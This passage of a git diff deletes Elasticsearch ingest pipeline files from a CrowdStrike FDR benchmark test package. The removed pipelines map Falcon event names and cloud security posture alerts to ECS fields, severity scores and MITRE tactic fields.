-        UserExceptionDEP:
-          category:
-            - process
-            - malware
-          kind: alert
-          outcome: success
-          type:
-            - info
-        UserFontLoad:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        UserIdentity:
-          category:
-            - authentication
-            - iam
-          kind: event
-          outcome: success
-          type:
-            - info
-            - user
-        UserLogoff:
-          category:
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - end
-        UserLogon:
-          category:
-            - authentication
-          kind: event
-          outcome: success
-          type:
-            - start
-        UserLogonFailed:
-          category:
-            - authentication
-          kind: event
-          outcome: failure
-          type:
-            - start
-        UserLogonFailed2:
-          category:
-            - authentication
-          kind: event
-          outcome: failure
-          type:
-            - start
-        VolumeSnapshotCreated:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        VolumeSnapshotDeleted:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - deletion
-        WfpFilterTamperingFilterAdded:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        WfpFilterTamperingFilterDeleted:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        WmiCreateProcess:
-          category:
-            - process
-          kind: event
-          outcome: success
-          type:
-            - start
-        WmiFilterConsumerBindingEtw:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        WmiProviderRegistrationEtw:
-          category:
-            - configuration
-          kind: event
-          outcome: success
-          type:
-            - change
-        WroteExeAndGeneratedServiceEvent:
-          category:
-            - process
-          kind: alert
-          outcome: success
-          type:
-            - access
-        XarFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-        ZipFileWritten:
-          category:
-            - file
-          kind: event
-          outcome: success
-          type:
-            - creation
-      source: |-
-        def m = params.get(ctx.crowdstrike?.event_simpleName);
-        if (m != null) {
-          m.forEach((k, v) -> {
-            if (v instanceof List) {
-              ctx.event[k] = new ArrayList(v);
-            } else {
-              ctx.event[k] = v;
-            }
-          });
-        }
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml
deleted file mode 100644
index 4bf46f00ef..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml
+++ /dev/null
@@ -1,273 +0,0 @@
----
-description: Pipeline for processing Cloud Security Posture's IOA events.
-processors:
-  # Event categorization
-  - set:
-      tag: set_event_kind_alert_39295792
-      field: event.kind
-      value: alert
-  - append:
-      tag: append_event_category_configuration_1c667e2c
-      field: event.category
-      value: configuration
-  - append:
-      tag: append_info_change_type_9e4e4288
-      field: event.type
-      value:
-        - info
-        - change
-
-  # Converts
-  - convert:
-      tag: convert_crowdstrike_policy_severity_to_long_c007532a
-      field: crowdstrike.policy_severity
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_policy_severity_b8fb8d80
-            field:
-              - crowdstrike.policy_severity
-            ignore_failure: true
-        - append:
-            tag: append_error_message_d47a6b0a
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_source_ip_address_to_ip_358322f7
-      field: crowdstrike.source_ip_address
-      type: ip
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_source_ip_address_4c2c058b
-            field:
-              - crowdstrike.source_ip_address
-            ignore_failure: true
-        - append:
-            tag: append_error_message_c13b6565
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_user_identity_mfa_authenticated_to_boolean_54612133
-      field: crowdstrike.user_identity_mfa_authenticated
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_user_identity_mfa_authenticated_3d1c0d5c
-            field:
-              - crowdstrike.user_identity_mfa_authenticated
-            ignore_failure: true
-        - append:
-            tag: append_error_message_25a88ee1
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_read_only_to_boolean_9b7366e7
-      field: crowdstrike.read_only
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_read_only_e31c665c
-            field:
-              - crowdstrike.read_only
-            ignore_failure: true
-        - append:
-            tag: append_error_message_bfc80555
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_management_event_to_boolean_09a8dac6
-      field: crowdstrike.management_event
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_management_event_88242574
-            field:
-              - crowdstrike.management_event
-            ignore_failure: true
-        - append:
-            tag: append_error_message_7fb96b06
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_policy_id_to_string_eae04ac3
-      field: crowdstrike.policy_id
-      type: string
-      ignore_missing: true
-  - date:
-      tag: date_crowdstrike_event_created_into_event_created_f55ec58c
-      if: ctx.crowdstrike?.event_created != null && ctx.crowdstrike.event_created != ''
-      field: crowdstrike.event_created
-      target_field: event.created
-      formats:
-        - ISO8601
-      on_failure:
-        - append:
-            tag: append_error_message_9078ce2c
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-
-  # ECS mappings
-  - set:
-      tag: set_@timestamp_from_event_created_42aa5b8f
-      field: '@timestamp'
-      copy_from: event.created
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5
-      field: rule.name
-      copy_from: crowdstrike.policy_statement
-      ignore_empty_value: true
-  - rename:
-      tag: rename_crowdstrike_event_id_to_event_id_aac41038
-      field: crowdstrike.event_id
-      target_field: event.id
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_event_name_to_event_action_ad89e7ef
-      field: crowdstrike.event_name
-      target_field: event.action
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_event_source_to_source_domain_2ee5c144
-      field: crowdstrike.event_source
-      target_field: source.domain
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_user_identity_principal_id_to_user_id_ec14da98
-      field: crowdstrike.user_identity_principal_id
-      target_field: user.id
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_user_identity_user_name_to_user_name_bc683fbd
-      field: crowdstrike.user_identity_user_name
-      target_field: user.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_policy_description_to_rule_description_60190db2
-      field: crowdstrike.policy_description
-      target_field: rule.description
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_policy_statement_to_message_6cbc5326
-      field: crowdstrike.policy_statement
-      target_field: message
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_cloud_provider_to_cloud_provider_37e579dc
-      field: crowdstrike.cloud_provider
-      target_field: cloud.provider
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e
-      field: crowdstrike.policy_id
-      target_field: rule.id
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_source_ip_address_to_source_ip_0ff0e35b
-      field: crowdstrike.source_ip_address
-      target_field: source.ip
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_cloud_service_friendly_to_cloud_service_name_1e1824cd
-      field: crowdstrike.cloud_service_friendly
-      target_field: cloud.service.name
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_account_to_cloud_account_id_d1803359
-      field: crowdstrike.account
-      target_field: cloud.account.id
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_cloud_region_to_cloud_region_f7090720
-      field: crowdstrike.cloud_region
-      target_field: cloud.region
-      ignore_missing: true
-  - append:
-      tag: append_threat_tactic_name_cae1a398
-      if: ctx.crowdstrike?.mitre_attack_tactic != null
-      field: threat.tactic.name
-      value: '{{{crowdstrike.mitre_attack_tactic}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_technique_name_e0e30ec0
-      if: ctx.crowdstrike?.mitre_attack_technique != null
-      field: threat.technique.name
-      value: '{{{crowdstrike.mitre_attack_technique}}}'
-      allow_duplicates: false
-  - user_agent:
-      tag: user_agent_crowdstrike_user_agent_a19b860f
-      field: crowdstrike.user_agent
-      ignore_missing: true
-  # Override severity set in default.yml as Cloud Security has a different range.
-  - script:
-      tag: set_severity_name_from_crowdstrike_policy_severity_1989e488
-      if: ctx.crowdstrike?.policy_severity instanceof long
-      source: |-
-        long severity = ctx.crowdstrike.policy_severity;
-        if (severity == 0) {
-          ctx.crowdstrike.SeverityName = 'critical';
-        } else if (severity == 1) {
-          ctx.crowdstrike.SeverityName = 'high';
-        } else if (severity == 2) {
-          ctx.crowdstrike.SeverityName = 'medium';
-        } else if (severity == 3) {
-          ctx.crowdstrike.SeverityName = 'informational';
-        }
-  - script:
-      tag: set_event_severity_from_severity_name_e55a1868
-      if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != ''
-      params:
-        critical: 99
-        high: 73
-        info: 21
-        informational: 21
-        low: 21
-        medium: 47
-      source: |-
-        ctx.event = ctx.event ?: [:];
-        Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()];
-        if (score != null) {
-          ctx.event.severity = score;
-        }
-
-  # Cleanup.
-  - remove:
-      tag: remove_40214210
-      field:
-        - crowdstrike.mitre_attack_tactic
-        - crowdstrike.mitre_attack_technique
-        - crowdstrike.event_created
-        - crowdstrike.user_agent
-      ignore_missing: true
-
-  # error handling
-  - set:
-      tag: set_pipeline_error_into_event_kind_92954dfa
-      if: ctx.error?.message != null
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_tags_9fe66b2c
-      if: ctx.error?.message != null
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-on_failure:
-  - set:
-      tag: set_event_kind_f51b77ad
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_tags_d762b9c5
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-  - append:
-      tag: append_error_message_e0c9bd63
-      field: error.message
-      value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml
deleted file mode 100644
index a5d97ab1f0..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml
+++ /dev/null
@@ -1,503 +0,0 @@
----
-description: Pipeline for processing Cloud Security Posture's IOM and CloudSecurityIOMEvaluation events.
-processors:
-  # Event categorization
-  - set:
-      tag: set_event_kind_alert_39295792
-      field: event.kind
-      value: alert
-  # Handle passed CloudSecurityIOMEvaluation events.
-  - set:
-      tag: set_event_kind_event_74f065e1
-      if: ctx.crowdstrike?.status != null && ctx.crowdstrike.status.equalsIgnoreCase('Passed')
-      field: event.kind
-      value: event
-  - append:
-      tag: append_event_category_configuration_1c667e2c
-      field: event.category
-      value: configuration
-  - append:
-      tag: append_info_type_8b66b73a
-      field: event.type
-      value:
-        - info
-
-  # Converts
-  - convert:
-      tag: convert_crowdstrike_Severity_to_integer_0f32343f
-      field: crowdstrike.Severity
-      type: integer
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_Severity_ab19708e
-            field:
-              - crowdstrike.Severity
-            ignore_failure: true
-        - append:
-            tag: append_error_message_596243fd
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_cloud_asset_type_to_long_e947ff85
-      field: crowdstrike.cloud_asset_type
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_cloud_asset_type_f9e88af0
-            field:
-              - crowdstrike.cloud_asset_type
-            ignore_failure: true
-        - append:
-            tag: append_error_message_dbb2b2ab
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_legacyPolicyId_to_long_aa105144
-      field: crowdstrike.legacyPolicyId
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_legacyPolicyId_f79e89e6
-            field:
-              - crowdstrike.legacyPolicyId
-            ignore_failure: true
-        - append:
-            tag: append_error_message_6322de94
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_resource_legacyPolicyId_to_long_4b2a6514
-      field: crowdstrike.resource.legacyPolicyId
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_resource_legacyPolicyId_e1ede384
-            field:
-              - crowdstrike.resource.legacyPolicyId
-            ignore_failure: true
-        - append:
-            tag: append_error_message_c4c4d2a4
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_revision_to_long_9713160b
-      field: crowdstrike.revision
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_revision_6f267a18
-            field:
-              - crowdstrike.revision
-            ignore_failure: true
-        - append:
-            tag: append_error_message_bfacb109
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_policy_severity_to_long_c007532a
-      field: crowdstrike.policy_severity
-      type: long
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_policy_severity_b8fb8d80
-            field:
-              - crowdstrike.policy_severity
-            ignore_failure: true
-        - append:
-            tag: append_error_message_d47a6b0a
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_internal_only_to_boolean_05f17f60
-      field: crowdstrike.internal_only
-      type: boolean
-      ignore_missing: true
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_internal_only_89b06d42
-            field:
-              - crowdstrike.internal_only
-            ignore_failure: true
-        - append:
-            tag: append_error_message_0484dad0
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - convert:
-      tag: convert_crowdstrike_policy_id_to_string_eae04ac3
-      field: crowdstrike.policy_id
-      type: string
-      ignore_missing: true
-  - date:
-      tag: date_crowdstrike_ResourceCreateTime_into_crowdstrike_ResourceCreateTime_f8d87a86
-      if: ctx.crowdstrike?.ResourceCreateTime != null && ctx.crowdstrike.ResourceCreateTime != ''
-      field: crowdstrike.ResourceCreateTime
-      target_field: crowdstrike.ResourceCreateTime
-      formats:
-        - ISO8601
-      on_failure:
-        - append:
-            tag: append_error_message_ba53e1c6
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      tag: date_crowdstrike_created_into_crowdstrike_created_22cd53c6
-      if: ctx.crowdstrike?.created != null && ctx.crowdstrike.created != ''
-      field: crowdstrike.created
-      target_field: crowdstrike.created
-      formats:
-        - ISO8601
-      on_failure:
-        - append:
-            tag: append_error_message_87abd606
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      tag: date_crowdstrike_firstDetected_into_crowdstrike_firstDetected_7207d30a
-      if: ctx.crowdstrike?.firstDetected != null && ctx.crowdstrike.firstDetected != ''
-      field: crowdstrike.firstDetected
-      target_field: crowdstrike.firstDetected
-      formats:
-        - ISO8601
-      on_failure:
-        - append:
-            tag: append_error_message_99375bea
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      tag: date_crowdstrike_lastDetected_into_crowdstrike_lastDetected_2aa302dc
-      if: ctx.crowdstrike?.lastDetected != null && ctx.crowdstrike.lastDetected != ''
-      field: crowdstrike.lastDetected
-      target_field: crowdstrike.lastDetected
-      formats:
-        - ISO8601
-      on_failure:
-        - append:
-            tag: append_error_message_0de4d3fc
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - date:
-      tag: date_crowdstrike_resource_captured_into_crowdstrike_resource_captured_b21aec1b
-      if: ctx.crowdstrike?.resource?.captured != null && ctx.crowdstrike.resource.captured != ''
-      field: crowdstrike.resource.captured
-      target_field: crowdstrike.resource.captured
-      formats:
-        - ISO8601
-      on_failure:
-        - append:
-            tag: append_error_message_9bb738d9
-            field: error.message
-            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
-  - json:
-      tag: decode_crowdstrike_ResourceAttributes_74e90745
-      if: ctx.crowdstrike?.ResourceAttributes instanceof String
-      field: crowdstrike.ResourceAttributes
-      target_field: crowdstrike.ResourceAttributes
-      on_failure:
-        - remove:
-            tag: remove_crowdstrike_ResourceAttributes_17af0578
-            field:
-              - crowdstrike.ResourceAttributes
-            ignore_missing: true
-
-  # ECS mappings
-  - set:
-      tag: set_@timestamp_from_crowdstrike_created_6941d144
-      field: '@timestamp'
-      copy_from: crowdstrike.created
-      ignore_empty_value: true
-  - set:
-      tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5
-      field: rule.name
-      copy_from: crowdstrike.policy_statement
-      ignore_empty_value: true
-
-  # Renames
-  - rename:
-      tag: rename_crowdstrike_severity_to_crowdstrike_SeverityName_cc000891
-      field: crowdstrike.severity
-      target_field: crowdstrike.SeverityName
-      ignore_missing: true
-  - rename:
-      tag: rename_crowdstrike_policy_statement_to_message_6cbc5326
-      field: crowdstrike.policy_statement
-      target_field: message
-      ignore_missing: true
-  # CloudSecurityIOMEvaluation events use `ruleName`
-  - set:
-      tag: set_message_from_crowdstrike_ruleName_0729c3fe
-      field: message
-      copy_from: crowdstrike.ruleName
-      ignore_empty_value: true
-  - append:
-      tag: append_threat_tactic_name_from_crowdstrike_mitre_attack_tactics_name_0ca972fe
-      if: ctx.crowdstrike?.mitre_attack_tactics_name != null
-      field: threat.tactic.name
-      value: '{{{crowdstrike.mitre_attack_tactics_name}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_tactic_reference_from_crowdstrike_mitre_attack_tactics_url_11772a14
-      if: ctx.crowdstrike?.mitre_attack_tactics_url != null
-      field: threat.tactic.reference
-      value: '{{{crowdstrike.mitre_attack_tactics_url}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_tactic_name_from_crowdstrike_threat_tactic_name_4524338e
-      if: ctx.crowdstrike?.threat?.tactic?.name != null
-      field: threat.tactic.name
-      value: '{{{crowdstrike.threat.tactic.name}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_tactic_id_from_crowdstrike_threat_tactic_id_4e03d860
-      if: ctx.crowdstrike?.threat?.tactic?.id != null
-      field: threat.tactic.id
-      value: '{{{crowdstrike.threat.tactic.id}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_tactic_reference_from_crowdstrike_threat_tactic_reference_0caca4fa
-      if: ctx.crowdstrike?.threat?.tactic?.reference != null
-      field: threat.tactic.reference
-      value: '{{{crowdstrike.threat.tactic.reference}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_technique_name_from_crowdstrike_threat_technique_name_1669c200
-      if: ctx.crowdstrike?.threat?.technique?.name != null
-      field: threat.technique.name
-      value: '{{{crowdstrike.threat.technique.name}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_technique_id_from_crowdstrike_threat_technique_id_4aa63bbe
-      if: ctx.crowdstrike?.threat?.technique?.id != null
-      field: threat.technique.id
-      value: '{{{crowdstrike.threat.technique.id}}}'
-      allow_duplicates: false
-  - append:
-      tag: append_threat_technique_reference_from_crowdstrike_threat_technique_reference_5d99d5d4
-      if: ctx.crowdstrike?.threat?.technique?.reference != null
-      field: threat.technique.reference
-      value: '{{{crowdstrike.threat.technique.reference}}}'
-      allow_duplicates: false
-  # CloudSecurityIOMEvaluation events use `resource.cloudProvider`, IOM events use `cloudplatform`
-  - rename:
-      tag: rename_crowdstrike_cloudplatform_to_cloud_provider_e4cd5dc3
-      field: crowdstrike.cloudplatform
-      target_field: cloud.provider
-      ignore_missing: true
-  - append:
-      tag: append_cloud_provider_from_crowdstrike_cloudplatform_fbe812c3
-      if: ctx.crowdstrike?.cloudplatform != null
-      field: cloud.provider
-      value: '{{{crowdstrike.cloudplatform}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_resource_cloudProvider_to_cloud_provider_e78d6077
-      if: ctx.cloud?.provider == null
-      field: crowdstrike.resource.cloudProvider
-      target_field: cloud.provider
-      ignore_missing: true
-  - append:
-      tag: append_cloud_provider_from_crowdstrike_resource_cloudProvider_70f564de
-      if: ctx.crowdstrike?.resource?.cloudProvider != null
-      field: cloud.provider
-      value: '{{{crowdstrike.resource.cloudProvider}}}'
-      allow_duplicates: false
-  # CloudSecurityIOMEvaluation events use `ruleId`, IOM events use `policy_id`
-  - rename:
-      tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e
-      field: crowdstrike.policy_id
-      target_field: rule.id
-      ignore_missing: true
-  - append:
-      tag: append_rule_id_from_crowdstrike_policy_id_5527ec40
-      if: ctx.crowdstrike?.policy_id != null
-      field: rule.id
-      value: '{{{crowdstrike.policy_id}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_ruleId_to_rule_id_7392c4e8
-      if: ctx.rule?.id == null
-      field: crowdstrike.ruleId
-      target_field: rule.id
-      ignore_missing: true
-  - append:
-      tag: append_rule_id_from_crowdstrike_ruleId_39fca7b0
-      if: ctx.crowdstrike?.ruleId != null
-      field: rule.id
-      value: '{{{crowdstrike.ruleId}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_ruleName_to_rule_name_09ff9f3a
-      if: ctx.rule?.name == null
-      field: crowdstrike.ruleName
-      target_field: rule.name
-      ignore_missing: true
-  - append:
-      tag: append_rule_name_from_crowdstrike_ruleName_9f105302
-      if: ctx.crowdstrike?.ruleName != null
-      field: rule.name
-      value: '{{{crowdstrike.ruleName}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_CloudService_to_cloud_service_name_cad180a2
-      field: crowdstrike.CloudService
-      target_field: cloud.service.name
-      ignore_missing: true
-  - append:
-      tag: append_cloud_service_name_from_crowdstrike_CloudService_502b8518
-      if: ctx.crowdstrike?.CloudService != null
-      field: cloud.service.name
-      value: '{{{crowdstrike.CloudService}}}'
-      allow_duplicates: false
-  # CloudSecurityIOMEvaluation events use `resource.accountId`, IOM events use `AccountId`
-  - rename:
-      tag: rename_crowdstrike_AccountId_to_cloud_account_id_7a667ede
-      field: crowdstrike.AccountId
-      target_field: cloud.account.id
-      ignore_missing: true
-  - append:
-      tag: append_cloud_account_id_from_crowdstrike_AccountId_e0946632
-      if: ctx.crowdstrike?.AccountId != null
-      field: cloud.account.id
-      value: '{{{crowdstrike.AccountId}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_resource_accountId_to_cloud_account_id_ed136ada
-      if: ctx.cloud?.account?.id == null
-      field: crowdstrike.resource.accountId
-      target_field: cloud.account.id
-      ignore_missing: true
-  - append:
-      tag: append_cloud_account_id_from_crowdstrike_resource_accountId_8c8510ad
-      if: ctx.crowdstrike?.resource?.accountId != null
-      field: cloud.account.id
-      value: '{{{crowdstrike.resource.accountId}}}'
-      allow_duplicates: false
-  # CloudSecurityIOMEvaluation events use `resource.region`, IOM events use `region`
-  - rename:
-      tag: rename_crowdstrike_region_to_cloud_region_a2be859e
-      field: crowdstrike.region
-      target_field: cloud.region
-      ignore_missing: true
-  - append:
-      tag: append_cloud_region_from_crowdstrike_region_e4a0d590
-      if: ctx.crowdstrike?.region != null
-      field: cloud.region
-      value: '{{{crowdstrike.region}}}'
-      allow_duplicates: false
-  - rename:
-      tag: rename_crowdstrike_resource_region_to_cloud_region_54502abf
-      if: ctx.cloud?.region == null
-      field: crowdstrike.resource.region
-      target_field: cloud.region
-      ignore_missing: true
-  - append:
-      tag: append_cloud_region_from_crowdstrike_resource_region_747cc2eb
-      if: ctx.crowdstrike?.resource?.region != null
-      field: cloud.region
-      value: '{{{crowdstrike.resource.region}}}'
-      allow_duplicates: false
-  # Override severity set in default.yml as Cloud Security has a different range.
-  - script:
-      tag: set_severity_name_from_crowdstrike_Severity_a1e4ce46
-      if: ctx.crowdstrike?.Severity instanceof int
-      source: |-
-        int severity = ctx.crowdstrike.Severity;
-        if (severity == 0) {
-          ctx.crowdstrike.SeverityName = 'critical';
-        } else if (severity == 1) {
-          ctx.crowdstrike.SeverityName = 'high';
-        } else if (severity == 2) {
-          ctx.crowdstrike.SeverityName = 'medium';
-        } else if (severity == 3) {
-          ctx.crowdstrike.SeverityName = 'informational';
-        }
-  - script:
-      tag: set_event_severity_from_severity_name_e55a1868
-      if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != ''
-      params:
-        critical: 99
-        high: 73
-        info: 21
-        informational: 21
-        low: 21
-        medium: 47
-      source: |-
-        ctx.event = ctx.event ?: [:];
-        Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()];
-        if (score != null) {
-          ctx.event.severity = score;
-        }
-
-  - script:
-      description: Parse all benchmark IDs and create a list.
-      tag: parse_all_benchmark_ids_to_list_c4f20ce2
-      source: |-
-        for (entry in ctx.crowdstrike.entrySet()) {
-          def key = entry.getKey().toString();
-          if (key.endsWith("benchmark_ids")) {
-            def val = entry.getValue();
-            if (val instanceof String) {
-              def result = [];
-              String cleaned = /[\\{\\}\\s]/.matcher(val).replaceAll('');
-              def parts = cleaned.splitOnToken(",");
-              for (def part : parts) {
-                result.add(part);
-              }
-              ctx.crowdstrike[key] = result;
-            }
-          }
-        }
-
-  # Cleanup.
-  - remove:
-      tag: remove_deaa67b5
-      field:
-        - crowdstrike.Disposition
-        - crowdstrike.Finding
-        - crowdstrike.CloudPlatform
-        - crowdstrike.PolicyId
-        - crowdstrike.PolicyStatement
-        - crowdstrike.Region
-        - crowdstrike.ResourceUrl
-        - crowdstrike.mitre_attack_tactics_name
-        - crowdstrike.mitre_attack_tactics_url
-        - crowdstrike.threat.framework
-        - crowdstrike.threat.technique.id
-        - crowdstrike.threat.technique.name
-        - crowdstrike.threat.technique.reference
-        - crowdstrike.threat.tactic.id
-        - crowdstrike.threat.tactic.name
-        - crowdstrike.threat.tactic.reference
-      ignore_missing: true
-
-  # error handling
-  - set:
-      tag: set_pipeline_error_into_event_kind_92954dfa
-      if: ctx.error?.message != null
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_preserve_original_event_into_tags_9fe66b2c
-      if: ctx.error?.message != null
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
-on_failure:
-  - set:
-      tag: set_event_kind_f51b77ad
-      field: event.kind
-      value: pipeline_error
-  - append:
-      tag: append_tags_d762b9c5
-      field: tags
-      value: preserve_original_event
-      allow_duplicates: false
